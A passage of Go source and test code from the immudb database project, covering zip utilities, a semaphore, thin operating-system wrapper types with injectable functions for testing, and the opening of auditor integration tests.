require.NoError(t, err) err = ioutil.WriteFile(dst, []byte(dst), 0644) require.NoError(t, err) ziper := NewStandardZiper() err = ziper.ZipIt(src, dst, ZipBestSpeed) require.ErrorIs(t, err, os.ErrExist) } func TestZipDstCreateError(t *testing.T) { src := t.TempDir() dst := filepath.Join(t.TempDir(), "dst") ziper := NewStandardZiper() errCreate := errors.New("Create error") ziper.OS.(*immuos.StandardOS).CreateF = func(name string) (*os.File, error) { return nil, errCreate } err := ziper.ZipIt(src, dst, ZipBestSpeed) require.ErrorIs(t, err, errCreate) } func TestZipWalkError(t *testing.T) { src := t.TempDir() dst := filepath.Join(t.TempDir(), "dst") srcSub := filepath.Join(src, "subdir") err := os.MkdirAll(srcSub, 0755) require.NoError(t, err) err = ioutil.WriteFile(filepath.Join(srcSub, "somefile.txt"), []byte("content"), 0644) require.NoError(t, err) ziper := NewStandardZiper() errWalk := errors.New("Walk error") ziper.OS.(*immuos.StandardOS).WalkF = func(root string, walkFn filepath.WalkFunc) error { return walkFn("", nil, errWalk) } err = ziper.ZipIt(src, dst, ZipBestSpeed) require.ErrorIs(t, err, errWalk) } func TestZipWalkOpenError(t *testing.T) { src := t.TempDir() dst := filepath.Join(t.TempDir(), "dst") srcSub := filepath.Join(src, "subdir") err := os.MkdirAll(srcSub, 0755) require.NoError(t, err) err = ioutil.WriteFile(filepath.Join(srcSub, "somefile.txt"), []byte("content"), 0644) require.NoError(t, err) ziper := NewStandardZiper() errWalkOpen := errors.New("Walk open error") ziper.OS.(*immuos.StandardOS).OpenF = func(name string) (*os.File, error) { return nil, errWalkOpen } err = ziper.ZipIt(src, dst, ZipBestSpeed) require.ErrorIs(t, err, errWalkOpen) } func TestUnZipSrcNotZipArchive(t *testing.T) { src := filepath.Join(t.TempDir(), "somefile.txt") dst := filepath.Join(t.TempDir(), "dst") require.NoError(t, ioutil.WriteFile(src, []byte("content"), 0644)) zipper := NewStandardZiper() err := zipper.UnZipIt(src, dst) require.ErrorIs(t, err, zip.ErrFormat) } func TestUnZipEntryMkdirAllError(t *testing.T) { src := t.TempDir() require.NoError(t, ioutil.WriteFile(filepath.Join(src, "somefile.txt"), []byte("content"), 0644)) ziper := NewStandardZiper() dst := filepath.Join(t.TempDir(), "some-zip.zip") err := ziper.ZipIt(src, dst, ZipBestSpeed) require.NoError(t, err) errMkdirAll := errors.New("MkdirAll error") counter := 0 ziper.OS.(*immuos.StandardOS).MkdirAllF = func(path string, perm os.FileMode) error { counter++ if counter == 2 { return errMkdirAll } return os.MkdirAll(path, perm) } dstUnZip := filepath.Join(t.TempDir(), "unzip-dst") err = ziper.UnZipIt(dst, dstUnZip) require.ErrorIs(t, err, errMkdirAll) } func TestUnZipEntryOpenFileError(t *testing.T) { src := filepath.Join(t.TempDir(), "some-zip-src") require.NoError(t, os.Mkdir(src, 0755)) require.NoError(t, ioutil.WriteFile(filepath.Join(src, "somefile.txt"), []byte("content"), 0644)) ziper := NewStandardZiper() dst := filepath.Join(t.TempDir(), "some-zip.zip") require.NoError(t, ziper.ZipIt(src, dst, ZipBestSpeed)) errOpenFile := errors.New("OpenFile entry error") ziper.OS.(*immuos.StandardOS).OpenFileF = func(name string, flag int, perm os.FileMode) (*os.File, error) { return nil, errOpenFile } dstUnZip := filepath.Join(t.TempDir(), "unzip-dst") err := ziper.UnZipIt(dst, dstUnZip) require.ErrorIs(t, err, errOpenFile) } ================================================ FILE: pkg/helpers/semaphore/semaphore.go ================================================ package semaphore import "sync/atomic" type Semaphore struct { maxWeight uint64 currWeight uint64 } func New(maxWeight uint64) *Semaphore { return &Semaphore{ maxWeight: maxWeight, currWeight: 0, } } func (m *Semaphore) Acquire(n uint64) bool { if newVal := atomic.AddUint64(&m.currWeight, n); newVal <= m.maxWeight { return true } m.Release(n) return false } func (m *Semaphore) Release(n uint64) { atomic.AddUint64(&m.currWeight, ^uint64(n-1)) } func (m *Semaphore) Value() uint64 { return atomic.LoadUint64(&m.currWeight) } func (m *Semaphore) MaxWeight() uint64 { return m.maxWeight } ================================================ FILE: pkg/helpers/slices/slices.go ================================================ package slices import ( "unsafe" ) // BytesToString converts bytes to a string without memory allocation. // NOTE: The given bytes MUST NOT be modified since they share the same backing array // with the returned string. // Reference implementation: https://github.com/golang/go/blob/ad7c32dc3b6d5edc3dd72b3e15c80dc4f4c27064/src/strings/builder.go#L47. func BytesToString(bs []byte) string { return *(*string)(unsafe.Pointer(&bs)) } ================================================ FILE: pkg/immuos/filepath.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuos import "path/filepath" // Filepath ... type Filepath interface { Abs(path string) (string, error) Base(path string) string Ext(path string) string Dir(path string) string Walk(root string, walkFn filepath.WalkFunc) error FromSlash(path string) string Join(elem ...string) string Clean(path string) string Split(path string) (dir, file string) } // StandardFilepath ... type StandardFilepath struct { AbsF func(path string) (string, error) BaseF func(path string) string ExtF func(path string) string DirF func(path string) string WalkF func(root string, walkFn filepath.WalkFunc) error FromSlashF func(path string) string JoinF func(elem ...string) string CleanF func(path string) string SplitF func(path string) (dir, file string) } // NewStandardFilepath ... func NewStandardFilepath() *StandardFilepath { return &StandardFilepath{ AbsF: filepath.Abs, BaseF: filepath.Base, ExtF: filepath.Ext, DirF: filepath.Dir, WalkF: filepath.Walk, FromSlashF: filepath.FromSlash, JoinF: filepath.Join, CleanF: filepath.Clean, SplitF: filepath.Split, } } // Abs ... func (sf *StandardFilepath) Abs(path string) (string, error) { return sf.AbsF(path) } // Base ... func (sf *StandardFilepath) Base(path string) string { return sf.BaseF(path) } // Ext ... func (sf *StandardFilepath) Ext(path string) string { return sf.ExtF(path) } // Dir ... func (sf *StandardFilepath) Dir(path string) string { return sf.DirF(path) } // Walk ... func (sf *StandardFilepath) Walk(root string, walkFn filepath.WalkFunc) error { return sf.WalkF(root, walkFn) } // FromSlash ... func (sf *StandardFilepath) FromSlash(path string) string { return sf.FromSlashF(path) } // Join ... func (sf *StandardFilepath) Join(elem ...string) string { return sf.JoinF(elem...) } // Clean ... func (sf *StandardFilepath) Clean(path string) string { return sf.CleanF(path) } // Split ... func (sf *StandardFilepath) Split(path string) (dir, file string) { return sf.SplitF(path) } ================================================ FILE: pkg/immuos/filepath_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuos import ( "errors" "os" "path/filepath" "testing" "github.com/stretchr/testify/require" ) func TestStandardFilepath(t *testing.T) { fp := NewStandardFilepath() // Abs relPath := "some-path" absPath, err := fp.Abs(relPath) require.NoError(t, err) require.Contains(t, absPath, relPath) require.Greater(t, len(absPath), len(relPath)) absFOK := fp.AbsF errAbs := errors.New("Abs error") fp.AbsF = func(path string) (string, error) { return "", errAbs } _, err = fp.Abs(relPath) require.ErrorIs(t, err, errAbs) fp.AbsF = absFOK // Base path := filepath.Join("some", "file", "path") require.Equal(t, "path", fp.Base(path)) baseFOK := fp.BaseF otherBase := "other" fp.BaseF = func(path string) string { return otherBase } require.Equal(t, otherBase, fp.Base(path)) fp.BaseF = baseFOK // Ext pathWithExt := filepath.Join("some", "file.ext") require.Equal(t, ".ext", fp.Ext(pathWithExt)) extFOK := fp.ExtF otherExt := ".otherExt" fp.ExtF = func(path string) string { return otherExt } require.Equal(t, otherExt, fp.Ext(pathWithExt)) fp.ExtF = extFOK // Dir pathToDir := filepath.Join("dir", "subdir") pathToFile := filepath.Join(pathToDir, "file.txt") require.Equal(t, pathToDir, fp.Dir(pathToFile)) dirFOK := fp.DirF otherPathToDir := "other-path-to-dir" fp.DirF = func(path string) string { return otherPathToDir } require.Equal(t, otherPathToDir, fp.Dir(pathToFile)) fp.DirF = dirFOK // Walk walkFOK := fp.WalkF errWalk := errors.New("Walk error") fp.WalkF = func(root string, walkFn filepath.WalkFunc) error { return errWalk } err = fp.Walk("root", func(path string, info os.FileInfo, err error) error { return nil }) require.ErrorIs(t, err, errWalk) fp.WalkF = walkFOK // FromSlash ... fromSlashFOK := fp.FromSlashF fp.FromSlashF = func(path string) string { return "fromslash" } require.Equal(t, "fromslash", fp.FromSlash("slash")) fp.FromSlashF = fromSlashFOK // Join ... joinFOK := fp.JoinF fp.JoinF = func(elem ...string) string { return "joined" } require.Equal(t, "joined", fp.Join("pie", "ces")) fp.JoinF = joinFOK // Clean ... cleanFOK := fp.CleanF fp.CleanF = func(path string) string { return "path" } require.Equal(t, "path", fp.Clean("/../path")) fp.CleanF = cleanFOK // Split ... splitFOK := fp.SplitF fp.SplitF = func(path string) (dir, file string) { dir = "someDir" file = "someFile.txt" return } splitDir, splitFile := fp.Split("a/b.txt") require.Equal(t, "someDir", splitDir) require.Equal(t, "someFile.txt", splitFile) fp.SplitF = splitFOK } ================================================ FILE: pkg/immuos/ioutil.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuos import ( "io/ioutil" "os" ) // Ioutil ... type Ioutil interface { ReadFile(filename string) ([]byte, error) WriteFile(filename string, data []byte, perm os.FileMode) error } // StandardIoutil ... type StandardIoutil struct { ReadFileF func(filename string) ([]byte, error) WriteFileF func(filename string, data []byte, perm os.FileMode) error } // NewStandardIoutil ... func NewStandardIoutil() *StandardIoutil { return &StandardIoutil{ ReadFileF: ioutil.ReadFile, WriteFileF: ioutil.WriteFile, } } // ReadFile ... func (sio *StandardIoutil) ReadFile(filename string) ([]byte, error) { return sio.ReadFileF(filename) } // WriteFile ... func (sio *StandardIoutil) WriteFile(filename string, data []byte, perm os.FileMode) error { return sio.WriteFileF(filename, data, perm) } ================================================ FILE: pkg/immuos/ioutil_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuos import ( "path/filepath" "strings" "testing" "github.com/stretchr/testify/require" ) func TestStandardIoutil(t *testing.T) { sio := NewStandardIoutil() filename := filepath.Join(t.TempDir(), "test-standard-ioutil") content := strings.ReplaceAll(filename, "-", " ") require.NoError(t, sio.WriteFile(filename, []byte(content), 0644)) readBytes, err := sio.ReadFile(filename) require.NoError(t, err) require.Equal(t, content, string(readBytes)) } ================================================ FILE: pkg/immuos/os.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuos import "os" // OS ... type OS interface { Filepath User Ioutil Create(name string) (*os.File, error) Getwd() (string, error) Mkdir(name string, perm os.FileMode) error MkdirAll(path string, perm os.FileMode) error Remove(name string) error RemoveAll(path string) error Rename(oldpath, newpath string) error Stat(name string) (os.FileInfo, error) Chown(name string, uid, gid int) error Chmod(name string, mode os.FileMode) error IsNotExist(err error) bool Open(name string) (*os.File, error) OpenFile(name string, flag int, perm os.FileMode) (*os.File, error) Executable() (string, error) Getpid() int } // StandardOS ... type StandardOS struct { *StandardFilepath *StandardUser *StandardIoutil CreateF func(name string) (*os.File, error) GetwdF func() (string, error) MkdirF func(name string, perm os.FileMode) error MkdirAllF func(path string, perm os.FileMode) error RemoveF func(name string) error RemoveAllF func(path string) error RenameF func(oldpath, newpath string) error StatF func(name string) (os.FileInfo, error) ChownF func(name string, uid, gid int) error ChmodF func(name string, mode os.FileMode) error IsNotExistF func(err error) bool OpenF func(name string) (*os.File, error) OpenFileF func(name string, flag int, perm os.FileMode) (*os.File, error) ExecutableF func() (string, error) GetpidF func() int } // NewStandardOS ... func NewStandardOS() *StandardOS { return &StandardOS{ StandardFilepath: NewStandardFilepath(), StandardUser: NewStandardUser(), StandardIoutil: NewStandardIoutil(), CreateF: os.Create, GetwdF: os.Getwd, MkdirF: os.Mkdir, MkdirAllF: os.MkdirAll, RemoveF: os.Remove, RemoveAllF: os.RemoveAll, RenameF: os.Rename, StatF: os.Stat, ChownF: os.Chown, ChmodF: os.Chmod, IsNotExistF: os.IsNotExist, OpenF: os.Open, OpenFileF: os.OpenFile, ExecutableF: os.Executable, GetpidF: os.Getpid, } } // Create ... func (sos *StandardOS) Create(name string) (*os.File, error) { return sos.CreateF(name) } // Getwd ... func (sos *StandardOS) Getwd() (string, error) { return sos.GetwdF() } // Mkdir ... func (sos *StandardOS) Mkdir(name string, perm os.FileMode) error { return sos.MkdirF(name, perm) } // MkdirAll ... func (sos *StandardOS) MkdirAll(path string, perm os.FileMode) error { return sos.MkdirAllF(path, perm) } // Remove ... func (sos *StandardOS) Remove(name string) error { return sos.RemoveF(name) } // RemoveAll ... func (sos *StandardOS) RemoveAll(path string) error { return sos.RemoveAllF(path) } // Rename ... func (sos *StandardOS) Rename(oldpath, newpath string) error { return sos.RenameF(oldpath, newpath) } // Stat ... func (sos *StandardOS) Stat(name string) (os.FileInfo, error) { return sos.StatF(name) } // Chown ... func (sos *StandardOS) Chown(name string, uid, gid int) error { return sos.ChownF(name, uid, gid) } // Chmod ... func (sos *StandardOS) Chmod(name string, mode os.FileMode) error { return sos.ChmodF(name, mode) } // IsNotExist ... func (sos *StandardOS) IsNotExist(err error) bool { return sos.IsNotExistF(err) } // Open ... func (sos *StandardOS) Open(name string) (*os.File, error) { return sos.OpenF(name) } // OpenFile ... func (sos *StandardOS) OpenFile(name string, flag int, perm os.FileMode) (*os.File, error) { return sos.OpenFileF(name, flag, perm) } // Executable ... func (sos *StandardOS) Executable() (string, error) { return sos.ExecutableF() } // Getpid ... func (sos *StandardOS) Getpid() int { return sos.GetpidF() } ================================================ FILE: pkg/immuos/os_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuos import ( "errors" "io/ioutil" "math" "os/user" "path/filepath" "strings" "testing" stdos "os" "github.com/stretchr/testify/require" ) func TestStandardOS(t *testing.T) { os := NewStandardOS() // Create filename := filepath.Join(t.TempDir(), "os_test_file") f, err := os.Create(filename) require.NoError(t, err) require.NotNil(t, f) createFOK := os.CreateF errCreate := errors.New("Create error") os.CreateF = func(name string) (*stdos.File, error) { return nil, errCreate } _, err = os.Create(filename) require.ErrorIs(t, err, errCreate) os.CreateF = createFOK // Getwd ws, err := os.Getwd() require.NoError(t, err) require.NotEmpty(t, ws) getwdFOK := os.GetwdF errGetwd := errors.New("Getwd error") os.GetwdF = func() (string, error) { return "", errGetwd } _, err = os.Getwd() require.ErrorIs(t, err, errGetwd) os.GetwdF = getwdFOK // Mkdir dirname := filepath.Join(t.TempDir(), "os_test_dir") require.NoError(t, os.Mkdir(dirname, 0755)) mkdirFOK := os.MkdirF errMkdir := errors.New("Mkdir error") os.MkdirF = func(name string, perm stdos.FileMode) error { return errMkdir } err = os.Mkdir(dirname, 0755) require.ErrorIs(t, err, errMkdir) os.MkdirF = mkdirFOK // MkdirAll dirname2 := filepath.Join(t.TempDir(), "os_test_dir2") require.NoError(t, os.MkdirAll(filepath.Join(dirname2, "os_test_subdir"), 0755)) mkdirAllFOK := os.MkdirAllF errMkdirAll := errors.New("MkdirAll error") os.MkdirAllF = func(path string, perm stdos.FileMode) error { return errMkdirAll } err = os.MkdirAll(dirname2, 0755) require.ErrorIs(t, err, errMkdirAll) os.MkdirAllF = mkdirAllFOK // Rename filename2 := filename + "_renamed" require.NoError(t, os.Rename(filename, filename2)) renameFOK := os.RenameF errRename := errors.New("Rename error") os.RenameF = func(oldpath, newpath string) error { return errRename } err = os.Rename(filename, filename2) require.ErrorIs(t, err, errRename) os.RenameF = renameFOK // Stat fi, err := os.Stat(filename2) require.NoError(t, err) require.NotNil(t, fi) statFOK := os.StatF errStat := errors.New("Stat error") os.StatF = func(name string) (stdos.FileInfo, error) { return nil, errStat } _, err = os.Stat(filename2) require.ErrorIs(t, err, errStat) os.StatF = statFOK // Remove require.NoError(t, os.Remove(filename2)) removeFOK := os.RemoveF errRemove := errors.New("Remove error") os.RemoveF = func(name string) error { return errRemove } err = os.Remove(filename2) require.ErrorIs(t, err, errRemove) os.RemoveF = removeFOK // RemoveAll require.NoError(t, os.RemoveAll(dirname2)) removeAllFOK := os.RemoveAllF errRemoveAll := errors.New("RemoveAll error") os.RemoveAllF = func(path string) error { return errRemoveAll } err = os.RemoveAll(filename2) require.ErrorIs(t, err, errRemoveAll) os.RemoveAllF = removeAllFOK // Chown chownFOK := os.ChownF errChown := errors.New("Chown error") os.ChownF = func(name string, uid, gid int) error { return errChown } err = os.Chown("name", 1, 2) require.ErrorIs(t, err, errChown) os.ChownF = chownFOK // Chmod chmodFOK := os.ChmodF errChmod := errors.New("Chmod error") os.ChmodF = func(name string, mode stdos.FileMode) error { return errChmod } err = os.Chmod("name", 0644) require.ErrorIs(t, err, errChmod) os.ChmodF = chmodFOK // IsNotExist isNotExistFOK := os.IsNotExistF os.IsNotExistF = func(err error) bool { return true } require.True(t, os.IsNotExist(nil)) os.IsNotExistF = isNotExistFOK // Open openFOK := os.OpenF errOpen := errors.New("Open error") os.OpenF = func(name string) (*stdos.File, error) { return nil, errOpen } _, err = os.Open("name") require.ErrorIs(t, err, errOpen) os.OpenF = openFOK // OpenFile openFileFOK := os.OpenFileF errOpenFile := errors.New("OpenFile error") os.OpenFileF = func(name string, flag int, perm stdos.FileMode) (*stdos.File, error) { return nil, errOpenFile } _, err = os.OpenFile("name", 1, 0644) require.ErrorIs(t, err, errOpenFile) os.OpenFileF = openFileFOK // Executable executableFOK := os.ExecutableF errExecutable := errors.New("Executable error") os.ExecutableF = func() (string, error) { return "", errExecutable } _, err = os.Executable() require.ErrorIs(t, err, errExecutable) os.ExecutableF = executableFOK // Getpid getpidFOK := os.GetpidF os.GetpidF = func() int { return math.MinInt32 } require.Equal(t, math.MinInt32, os.Getpid()) os.GetpidF = getpidFOK } func TestStandardOSFilepathEmbedded(t *testing.T) { os := NewStandardOS() // Abs relPath := "some-path" absPath, err := os.Abs(relPath) require.NoError(t, err) require.Contains(t, absPath, relPath) require.Greater(t, len(absPath), len(relPath)) absFOK := os.AbsF errAbs := errors.New("Abs error") os.AbsF = func(path string) (string, error) { return "", errAbs } _, err = os.Abs(relPath) require.ErrorIs(t, err, errAbs) os.AbsF = absFOK } func TestStandardOSUserEmbedded(t *testing.T) { os := NewStandardOS() // Lookup ... lookupFOK := os.LookupF errLookup := errors.New("Lookup error") os.LookupF = func(username string) (*user.User, error) { return nil, errLookup } _, err := os.Lookup("username") require.ErrorIs(t, err, errLookup) os.LookupF = lookupFOK } func TestStandardOSIoutilEmbedded(t *testing.T) { os := NewStandardOS() // ReadFile ... filename := filepath.Join(t.TempDir(), "test-standard-os-ioutil-embedded-readfile") content := strings.ReplaceAll(filename, "-", " ") require.NoError(t, ioutil.WriteFile(filename, []byte(content), 0644)) readBytes, err := os.ReadFile(filename) require.NoError(t, err) require.Equal(t, content, string(readBytes)) } ================================================ FILE: pkg/immuos/user.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuos import ( "os/exec" "os/user" ) // User ... type User interface { AddGroup(name string) error AddUser(usr string, group string) error LookupGroup(name string) (*user.Group, error) Lookup(username string) (*user.User, error) } // StandardUser ... type StandardUser struct { AddGroupF func(name string) error AddUserF func(usr string, group string) error LookupGroupF func(name string) (*user.Group, error) LookupF func(username string) (*user.User, error) } // NewStandardUser ... func NewStandardUser() *StandardUser { return &StandardUser{ AddGroupF: func(name string) error { return exec.Command("groupadd", name).Run() }, AddUserF: func(usr string, group string) error { return exec.Command("useradd", "-g", usr, usr).Run() }, LookupGroupF: user.LookupGroup, LookupF: user.Lookup, } } // AddGroup ... func (su *StandardUser) AddGroup(name string) error { return su.AddGroupF(name) } // AddUser ... func (su *StandardUser) AddUser(usr string, group string) error { return su.AddUserF(usr, group) } // LookupGroup ... func (su *StandardUser) LookupGroup(name string) (*user.Group, error) { return su.LookupGroupF(name) } // Lookup ... func (su *StandardUser) Lookup(username string) (*user.User, error) { return su.LookupF(username) } ================================================ FILE: pkg/immuos/user_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuos import ( "errors" "os/user" "testing" "github.com/stretchr/testify/require" ) func TestStandardUser(t *testing.T) { su := NewStandardUser() // AddGroup addGroupFOK := su.AddGroupF errAddGroup := errors.New("AddGroup error") su.AddGroupF = func(name string) error { return errAddGroup } err := su.AddGroup("name") require.ErrorIs(t, err, errAddGroup) su.AddGroupF = addGroupFOK // AddUser addUserFOK := su.AddUserF errAddUser := errors.New("AddUser error") su.AddUserF = func(usr string, group string) error { return errAddUser } err = su.AddUser("usr", "group") require.ErrorIs(t, err, errAddUser) su.AddUserF = addUserFOK // LookupGroup ... lookupGroupFOK := su.LookupGroupF errLookupGroup := errors.New("LookupGroup error") su.LookupGroupF = func(name string) (*user.Group, error) { return nil, errLookupGroup } _, err = su.LookupGroup("name") require.ErrorIs(t, err, errLookupGroup) su.LookupGroupF = lookupGroupFOK // Lookup ... lookupFOK := su.LookupF errLookup := errors.New("Lookup error") su.LookupF = func(username string) (*user.User, error) { return nil, errLookup } _, err = su.Lookup("username") require.ErrorIs(t, err, errLookup) su.LookupF = lookupFOK } ================================================ FILE: pkg/integration/auditor_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package integration import ( "context" "crypto/ecdsa" "fmt" "io/ioutil" "log" "net/http" "os" "strings" "sync" "testing" "time" "github.com/codenotary/immudb/cmd/cmdtest" "github.com/codenotary/immudb/pkg/client/homedir" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/auditor" "github.com/codenotary/immudb/pkg/client/cache" "github.com/codenotary/immudb/pkg/client/state" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/codenotary/immudb/pkg/signer" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" "google.golang.org/grpc/metadata" ) type mockHomedir struct { files map[string][]byte m sync.RWMutex } func newMockHomedir() homedir.HomedirService { return &mockHomedir{ files: make(map[string][]byte), } } func (h *mockHomedir) WriteFileToUserHomeDir(content []byte, pathToFile string) error { h.m.Lock() defer h.m.Unlock() h.files[pathToFile] = content return nil } func (h *mockHomedir) FileExistsInUserHomeDir(pathToFile string) (bool, error) { h.m.RLock() defer h.m.RUnlock() _, exists := h.files[pathToFile] return exists, nil } func (h *mockHomedir) ReadFileFromUserHomeDir(pathToFile string) (string, error) { h.m.RLock() defer h.m.RUnlock() data, exists := h.files[pathToFile] if !exists { return "", os.ErrNotExist } return string(data), nil } func (h *mockHomedir) DeleteFileFromUserHomeDir(pathToFile string) error { h.m.Lock() defer h.m.Unlock() delete(h.files, pathToFile) return nil } func TestDefaultAuditorRunOnEmptyDb(t *testing.T) { bs := servertest.NewBufconnServer(server. DefaultOptions(). WithDir(t.TempDir()), ) bs.Start() defer bs.Stop() ds := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } clientConn, err := grpc.Dial("add", ds...) require.NoError(t, err) serviceClient := schema.NewImmuServiceClient(clientConn) da, err := auditor.DefaultAuditor( time.Duration(0), fmt.Sprintf("%s:%d", "address", 0), ds, "immudb", "immudb", nil, nil, auditor.AuditNotificationConfig{}, serviceClient, state.NewUUIDProvider(serviceClient), cache.NewHistoryFileCache(t.TempDir()), func(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {}, logger.NewSimpleLogger("test", os.Stdout), nil, ) require.NoError(t, err) auditorDone := make(chan struct{}, 2) err = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone) require.NoError(t, err) } type PasswordReader struct { Pass []string callNumber int } func (pr *PasswordReader) Read(msg string) ([]byte, error) { if len(pr.Pass) <= pr.callNumber { log.Fatal("Application requested the password more times than number of passwords supplied") } pass := []byte(pr.Pass[pr.callNumber]) pr.callNumber++ return pass, nil } func TestDefaultAuditorRunOnDb(t *testing.T) { bs := servertest.NewBufconnServer(server. DefaultOptions(). WithDir(t.TempDir()), ) bs.Start() defer bs.Stop() ctx := context.Background() pr := &PasswordReader{ Pass: []string{"immudb"}, } dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } tkf := cmdtest.RandString() ts := tokenservice. NewFileTokenService(). WithTokenFileName(tkf). WithHds(newMockHomedir()) cliopt := client. DefaultOptions(). WithDialOptions(dialOptions). WithPasswordReader(pr). WithDir(t.TempDir()) cliopt.PasswordReader = pr cliopt.DialOptions = dialOptions cli, err := client.NewImmuClient(cliopt) require.NoError(t, err) cli.WithTokenService(ts) lresp, err := cli.Login(ctx, []byte("immudb"), []byte("immudb")) require.NoError(t, err) md := metadata.Pairs("authorization", lresp.Token) ctx = metadata.NewOutgoingContext(context.Background(), md) _, err = cli.Set(ctx, []byte(`key`), []byte(`val`)) require.NoError(t, err) ds := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } var clientConn *grpc.ClientConn clientConn, err = grpc.Dial("add", ds...) require.NoError(t, err) serviceClient := schema.NewImmuServiceClient(clientConn) auditorDir := t.TempDir() da, err := auditor.DefaultAuditor( time.Duration(0), fmt.Sprintf("%s:%d", "address", 0), ds, "immudb", "immudb", nil, nil, auditor.AuditNotificationConfig{}, serviceClient, state.NewUUIDProvider(serviceClient), cache.NewHistoryFileCache(auditorDir), func(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {}, logger.NewSimpleLogger("test", os.Stdout), nil) require.NoError(t, err) auditorDone := make(chan struct{}, 2) err = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone) require.NoError(t, err) err = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone) require.NoError(t, err) } func TestRepeatedAuditorRunOnDb(t *testing.T) { bs := servertest.NewBufconnServer( server.DefaultOptions(). WithDir(t.TempDir()). WithAuth(true). WithAdminPassword(auth.SysAdminPassword), ) bs.Start() defer bs.Stop() ctx := context.Background() pr := &PasswordReader{ Pass: []string{"immudb"}, } dialOptions := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } tkf := cmdtest.RandString() ts := tokenservice. NewFileTokenService(). WithTokenFileName(tkf). WithHds(newMockHomedir()) cliopt := client.DefaultOptions(). WithDir(t.TempDir()). WithDialOptions(dialOptions). WithPasswordReader(pr) cliopt.PasswordReader = pr cliopt.DialOptions = dialOptions cli, err := client.NewImmuClient(cliopt) require.NoError(t, err) cli.WithTokenService(ts) lresp, err := cli.Login(ctx, []byte("immudb"), []byte("immudb")) require.NoError(t, err) md := metadata.Pairs("authorization", lresp.Token) ctx = metadata.NewOutgoingContext(context.Background(), md) _, err = cli.Set(ctx, []byte(`key`), []byte(`val`)) require.NoError(t, err) ds := []grpc.DialOption{ grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()), } var clientConn *grpc.ClientConn clientConn, err = grpc.Dial("add", ds...) require.NoError(t, err) serviceClient := schema.NewImmuServiceClient(clientConn) 